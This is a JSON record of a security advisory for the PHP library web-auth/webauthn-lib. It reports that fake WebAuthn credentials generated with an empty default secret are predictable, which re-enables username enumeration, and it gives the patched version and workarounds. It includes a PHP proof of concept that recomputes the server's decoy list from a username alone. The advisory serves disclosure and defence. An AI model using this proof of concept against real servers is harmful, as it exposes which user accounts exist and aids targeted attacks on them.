{"id":"GHSA-gq4g-fpc9-vjfq","title":"Webauthn: SimpleFakeCredentialGenerator with an empty secret produces predictable fake credentials, weakening username enumeration protection","summary":"Webauthn: SimpleFakeCredentialGenerator with an empty secret produces predictable fake credentials, weakening username enumeration protection","severity":"low","cwe":["CWE-204","CWE-330"],"vendor":"web-auth","product":"web-auth/webauthn-lib","ecosystem":"composer","affected":["web-auth/webauthn-lib >= 4.9.0, < 5.3.5"],"patched":["web-auth/webauthn-lib 5.3.5"],"published":"2026-07-07","updated":"2026-07-07","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-gq4g-fpc9-vjfq","references":[{"url":"https://github.com/web-auth/webauthn-framework/security/advisories/GHSA-gq4g-fpc9-vjfq"},{"url":"https://github.com/advisories/GHSA-gq4g-fpc9-vjfq"}],"tags":["ghsa","composer"],"ingestedAt":"2026-07-07T23:43:59.375Z","slug":"GHSA-gq4g-fpc9-vjfq","body":"## Overview\n\n## Impact\n\n`Webauthn\\SimpleFakeCredentialGenerator` is the library-provided default implementation of the `FakeCredentialGenerator` interface. It returns a stable list of decoy `PublicKeyCredentialDescriptor` objects for a given username so that an assertion request for an unknown user looks the same as a request for a real one, which mitigates username enumeration.\n\nThe generator derives the whole decoy list from a single seed:\n\n```php\n$seed = hash('sha256', $username . $this->secret, true);\n```\n\nWhen it is constructed without a secret (its constructor default, `$secret = ''`), the seed depends only on the username. The username is attacker-chosen and the algorithm is public, so an unauthenticated requester can recompute the exact, byte-for-byte decoy list the server returns for any username. The attacker then compares a probed username's response against the locally computed list and decides whether the account is real or fake, which is precisely the distinction the mechanism is meant to hide.\n\nWith any non-empty secret the seed becomes a value the attacker cannot evaluate and the mitigation holds. The defect is the empty default, not the algorithm.\n\n## Affected configurations\n\n- Direct use of the library (`web-auth/webauthn-lib`) where `SimpleFakeCredentialGenerator` is instantiated without a secret.\n- Any integration that wires the generator with an empty secret.\n\nThe Symfony bundle is not affected with its default configuration: it injects the application secret (`kernel.secret`) into the generator, so out-of-the-box deployments already use a non-empty secret. Deployments that set an empty `kernel.secret` are affected.\n\n## Patches\n\nFixed in 5.3.5. The generator now emits a deprecation when it is constructed without a secret, which surfaces the misconfiguration in logs and the Symfony profiler. A non-empty secret will be required in 6.0.0. The recommended remediation is to always provide a non-empty, deployment-specific secret.\n\n## Workarounds\n\nConstruct `SimpleFakeCredentialGenerator` with a non-empty secret value (for example the application secret), or provide a custom `FakeCredentialGenerator` implementation seeded with a secret.\n\n## Proof of concept\n\n```php\n<?php\ndeclare(strict_types=1);\n\nrequire $src . '/PublicKeyCredentialDescriptor.php';\nrequire $src . '/FakeCredentialGenerator.php';\nrequire $src . '/SimpleFakeCredentialGenerator.php';\n\nuse Webauthn\\PublicKeyCredentialDescriptor;\nuse Webauthn\\SimpleFakeCredentialGenerator;\n\n$username = 'alice@example.com';\n\n// 1. The \"server\" runs the library default wiring (cache=null, secret='').\n$server = new SimpleFakeCredentialGenerator();\n$refl = new ReflectionMethod(SimpleFakeCredentialGenerator::class, 'generateCredentials');\n$refl->setAccessible(true);\n$serverDescriptors = $refl->invoke($server, $username);\n\n// 2. The \"attacker\" recomputes the same algorithm, knowing only the username.\nfunction attackerRecompute(string $username): array {\n    $transports = [\n        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_USB,\n        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_NFC,\n        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_BLE,\n        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_HYBRID,\n        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_INTERNAL,\n        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_SMART_CARD,\n    ];\n    $seed = hash('sha256', $username . '', true); // empty secret\n    $count = (ord($seed[0]) % 3) + 1;\n    $out = [];\n    for ($i = 0; $i < $count; $i++) {\n        $credSeed = hash('sha256', $seed . pack('N', $i), true);\n        $transportCount = (ord($credSeed[0]) % 2) + 1;\n        $sel = [];\n        for ($j = 0; $j < $transportCount; $j++) {\n            $sel[] = $transports[ord($credSeed[$j + 1]) % count($transports)];\n        }\n        $sel = array_values(array_unique($sel));\n        $out[] = ['type' => PublicKeyCredentialDescriptor::CREDENTIAL_TYPE_PUBLIC_KEY,\n                  'id' => hash('sha256', $credSeed . $username), 'transports' => $sel];\n    }\n    return $out;\n}\n\n// 3. The two lists match byte-for-byte, so the decoy is reproducible.\n//    The same call with a non-empty secret diverges, confirming the defect\n//    is the default value rather than the algorithm.\n```\n\nWith the default empty secret the library's fake-credential list is bit-for-bit reproducible from the public username alone, which defeats the username enumeration mitigation. The same call with a non-empty secret diverges.\n\n## Severity\n\nLow. The decoy responses are still well-formed and the issue only re-enables username enumeration, and only when the generator is used without a secret (which is not the case for default Symfony bundle deployments).\n\n## Credits\n\nFound during an internal security audit of the project.\n\n## Affected packages\n\n- `web-auth/webauthn-lib >= 4.9.0, < 5.3.5`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `web-auth/webauthn-lib 5.3.5`","depth":"sunlit","depthScore":14,"depthScoreParts":{"impact":13.8,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}